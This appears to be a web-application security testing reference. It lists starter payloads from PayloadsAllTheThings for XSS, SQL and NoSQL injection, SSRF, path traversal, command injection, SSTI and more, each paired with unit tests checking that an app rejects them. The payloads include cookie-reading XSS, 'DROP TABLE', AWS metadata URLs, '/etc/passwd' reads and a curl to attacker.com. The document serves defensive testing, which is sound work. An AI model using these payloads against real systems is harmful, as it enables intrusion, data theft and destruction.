This reference maps each vulnerability category to its PayloadsAllTheThings documentation and provides starter payloads for security testing. For comprehensive payloads, always check the linked PAT section.
PAT Reference: XSS Injection
Attack surface: Any place user input is rendered in HTML/DOM.
Starter payloads:
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg/onload=alert(1)>
"><img src=x onerror=alert(1)>
javascript:alert(1)
'-alert(1)-'
{{constructor.constructor('alert(1)')()}}
<details open ontoggle=alert(1)>
Test approach:
const XSS_PAYLOADS = [
'<script>alert(1)</script>',
'<img src=x onerror=alert(1)>',
'"><svg/onload=alert(1)>',
"javascript:alert(document.cookie)",
"'-alert(1)-'",
];
for (const payload of XSS_PAYLOADS) {
test(`XSS: input "${payload.slice(0, 30)}..." is sanitized`, async () => {
const output = await renderUserContent(payload);
expect(output).not.toMatch(/<script|onerror|onload|javascript:/i);
});
}PAT Reference: SQL Injection
Attack surface: Any database query built with user input.
Starter payloads:
' OR '1'='1
' OR '1'='1' --
'; DROP TABLE users; --
' UNION SELECT null,null,null --
1' ORDER BY 1--
' AND 1=CONVERT(int,@@version)--
Test approach:
const SQLI_PAYLOADS = [
"' OR '1'='1",
"'; DROP TABLE users; --",
"' UNION SELECT null,null,null --",
"1' ORDER BY 1--",
];
for (const payload of SQLI_PAYLOADS) {
test(`SQLi: "${payload.slice(0, 25)}..." does not alter query logic`, async () => {
// Should not return all records or error with SQL syntax
const result = await searchEndpoint({ query: payload });
expect(result.status).not.toBe(500);
expect(result.data?.length).toBeLessThanOrEqual(EXPECTED_MAX);
});
}PAT Reference: NoSQL Injection
Attack surface: MongoDB/Mongoose queries, JSON-based query APIs.
Starter payloads:
{"$gt": ""}
{"$ne": null}
{"$regex": ".*"}
{"$where": "sleep(5000)"}
{"username": {"$ne": ""}, "password": {"$ne": ""}}Test approach:
test('NoSQL: operator injection in login is rejected', async () => {
const res = await fetch('/api/auth/login', {
method: 'POST',
body: JSON.stringify({
email: { "$ne": "" },
password: { "$ne": "" }
}),
});
expect(res.status).toBe(400); // Should reject, not authenticate
});PAT Reference: CSRF Injection
Attack surface: State-changing endpoints (POST/PUT/DELETE) without CSRF tokens.
Test approach:
test('CSRF: state-changing requests require CSRF token', async () => {
const res = await fetch('/api/user/settings', {
method: 'POST',
headers: { 'Origin': 'https://evil-site.com' },
body: JSON.stringify({ theme: 'dark' }),
});
expect(res.status).toBe(403);
});
test('CSRF: SameSite cookie attribute is set', async () => {
const res = await fetch('/api/auth/login', {
method: 'POST',
body: JSON.stringify({ email: 'test@test.com', password: 'pass' }),
});
const cookies = res.headers.get('set-cookie');
expect(cookies).toMatch(/SameSite=(Strict|Lax)/i);
});PAT Reference: SSRF Injection
Attack surface: URL fetchers, image proxies, webhook handlers, PDF generators.
Starter payloads:
http://127.0.0.1
http://localhost
http://0.0.0.0
http://169.254.169.254/latest/meta-data/ (AWS metadata)
http://[::1]
http://0177.0.0.1 (octal)
http://2130706433 (decimal)
http://0x7f.0x0.0x0.0x1 (hex)
Test approach:
const SSRF_PAYLOADS = [
'http://127.0.0.1',
'http://localhost',
'http://169.254.169.254/latest/meta-data/',
'http://[::1]',
'http://0x7f000001',
];
for (const payload of SSRF_PAYLOADS) {
test(`SSRF: internal URL "${payload}" is blocked`, async () => {
const res = await fetch('/api/fetch-url', {
method: 'POST',
body: JSON.stringify({ url: payload }),
});
expect(res.status).toBe(400);
expect(await res.json()).toMatchObject({
error: expect.stringContaining('not allowed'),
});
});
}PAT Reference: File Inclusion
Attack surface: Dynamic file serving, template includes, file downloads.
Starter payloads:
../../../etc/passwd
..%2F..%2F..%2Fetc%2Fpasswd
....//....//....//etc/passwd
..%252f..%252f..%252fetc%252fpasswd
/etc/passwd%00.jpg
Test approach:
const TRAVERSAL_PAYLOADS = [
'../../../etc/passwd',
'..%2F..%2F..%2Fetc%2Fpasswd',
'....//....//etc/passwd',
'/etc/passwd%00.jpg',
];
for (const payload of TRAVERSAL_PAYLOADS) {
test(`Path Traversal: "${payload.slice(0, 25)}..." is blocked`, async () => {
const res = await fetch(`/api/files/${encodeURIComponent(payload)}`);
expect(res.status).toBe(400);
const body = await res.text();
expect(body).not.toContain('root:');
});
}PAT Reference: JSON Web Token
Attack surface: JWT-based authentication and authorization.
Test approach:
test('JWT: token with "none" algorithm is rejected', async () => {
// Craft a JWT with alg: none
const header = btoa(JSON.stringify({ alg: 'none', typ: 'JWT' }));
const payload = btoa(JSON.stringify({ sub: 'admin', role: 'admin' }));
const token = `${header}.${payload}.`;
const res = await fetch('/api/protected', {
headers: { Authorization: `Bearer ${token}` },
});
expect(res.status).toBe(401);
});
test('JWT: expired token is rejected', async () => {
const expiredToken = createJWT({ exp: Math.floor(Date.now() / 1000) - 3600 });
const res = await fetch('/api/protected', {
headers: { Authorization: `Bearer ${expiredToken}` },
});
expect(res.status).toBe(401);
});
test('JWT: token signed with wrong key is rejected', async () => {
const wrongKeyToken = jwt.sign({ sub: 'user1' }, 'wrong-secret');
const res = await fetch('/api/protected', {
headers: { Authorization: `Bearer ${wrongKeyToken}` },
});
expect(res.status).toBe(401);
});PAT Reference: IDOR - Insecure Direct Object Reference
Attack surface: Endpoints with user/resource IDs in URLs or request bodies.
Test approach:
test('IDOR: user cannot read another user profile', async () => {
const res = await authenticatedFetch('user-1', '/api/users/user-2/profile');
expect(res.status).toBe(403);
});
test('IDOR: user cannot modify another user settings', async () => {
const res = await authenticatedFetch('user-1', '/api/users/user-2/settings', {
method: 'PUT',
body: JSON.stringify({ email: 'hacked@evil.com' }),
});
expect(res.status).toBe(403);
});
test('IDOR: user cannot delete another user resource', async () => {
const res = await authenticatedFetch('user-1', '/api/posts/post-owned-by-user-2', {
method: 'DELETE',
});
expect(res.status).toBe(403);
});PAT Reference: Upload Insecure Files
Attack surface: Any file upload endpoint.
Test approach:
test('Upload: rejects executable file types', async () => {
const files = ['test.php', 'test.jsp', 'test.exe', 'test.sh'];
for (const filename of files) {
const formData = new FormData();
formData.append('file', new Blob(['malicious']), filename);
const res = await fetch('/api/upload', { method: 'POST', body: formData });
expect(res.status).toBe(400);
}
});
test('Upload: rejects double extensions', async () => {
const formData = new FormData();
formData.append('file', new Blob(['malicious']), 'image.jpg.php');
const res = await fetch('/api/upload', { method: 'POST', body: formData });
expect(res.status).toBe(400);
});
test('Upload: validates MIME type matches extension', async () => {
const formData = new FormData();
formData.append('file', new Blob(['<?php echo "pwned"; ?>'], { type: 'image/jpeg' }), 'image.jpg');
const res = await fetch('/api/upload', { method: 'POST', body: formData });
// Should validate actual content, not just Content-Type header
expect(res.status).toBe(400);
});No PAT section — this is a configuration check.
Test approach:
describe('Security Headers', () => {
let headers: Headers;
beforeAll(async () => {
const res = await fetch('https://your-app.com');
headers = res.headers;
});
test('X-Frame-Options is set', () => {
expect(headers.get('x-frame-options')).toMatch(/DENY|SAMEORIGIN/i);
});
test('X-Content-Type-Options is nosniff', () => {
expect(headers.get('x-content-type-options')).toBe('nosniff');
});
test('Strict-Transport-Security is set', () => {
const hsts = headers.get('strict-transport-security');
expect(hsts).toMatch(/max-age=\d+/);
});
test('Content-Security-Policy is set', () => {
expect(headers.get('content-security-policy')).toBeTruthy();
});
test('X-XSS-Protection is set', () => {
expect(headers.get('x-xss-protection')).toBe('1; mode=block');
});
});PAT Reference: CORS Misconfiguration
Test approach:
test('CORS: rejects unauthorized origins', async () => {
const res = await fetch('/api/data', {
headers: { Origin: 'https://evil-site.com' },
});
const allowOrigin = res.headers.get('access-control-allow-origin');
expect(allowOrigin).not.toBe('https://evil-site.com');
expect(allowOrigin).not.toBe('*');
});
test('CORS: does not reflect arbitrary origin', async () => {
const res = await fetch('/api/data', {
headers: { Origin: 'https://attacker.com' },
});
expect(res.headers.get('access-control-allow-origin')).not.toBe('https://attacker.com');
});PAT Reference: Command Injection
Starter payloads:
; ls -la
| cat /etc/passwd
$(whoami)
`id`
; sleep 10
&& curl http://attacker.com
PAT Reference: Server Side Template Injection
Starter payloads:
{{7*7}}
${7*7}
<%= 7*7 %>
#{7*7}
{{constructor.constructor('return this')()}}
No PAT section — defensive measure testing.
Test approach:
test('Rate limit: login endpoint throttles after 5 attempts', async () => {
const results = [];
for (let i = 0; i < 10; i++) {
const res = await fetch('/api/auth/login', {
method: 'POST',
body: JSON.stringify({ email: 'test@test.com', password: 'wrong' }),
});
results.push(res.status);
}
// At least some requests should be rate-limited (429)
expect(results.filter(s => s === 429).length).toBeGreaterThan(0);
});For comprehensive coverage, also review these PayloadsAllTheThings sections when applicable:
| Category | PAT Link | When Relevant |
|---|---|---|
| GraphQL Injection | GraphQL | GraphQL APIs |
| XXE | XXE Injection | XML parsing |
| Deserialization | Insecure Deserialization | Deserializing user data |
| OAuth | OAuth Misconfiguration | OAuth/social login |
| Race Conditions | Race Condition | Concurrent operations |
| HTTP Request Smuggling | Request Smuggling | Reverse proxy setups |
| Web Cache Poisoning | Web Cache Deception | CDN/caching layers |
| Open Redirect | Open Redirect | Redirect parameters |
| CRLF Injection | CRLF Injection | Header injection |
| Web LLM Attacks | Prompt Injection | AI/LLM integration |